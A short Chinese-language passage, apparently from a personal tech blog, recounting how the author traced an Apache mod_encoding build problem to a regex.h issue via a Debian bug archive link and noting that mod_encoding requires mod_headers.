……
搞了好久,查遍资料,也不得要领。
最后好不容易google到这篇文章:
http://www.mail-archive.com/debian-bugs-dist@lists.debian.org/msg20921.html
原来就是一个regex.h的问题。
另外,mod_encoding需要 mod_headers的支持,如果自己编译apache,别忘了把mod_headers选上。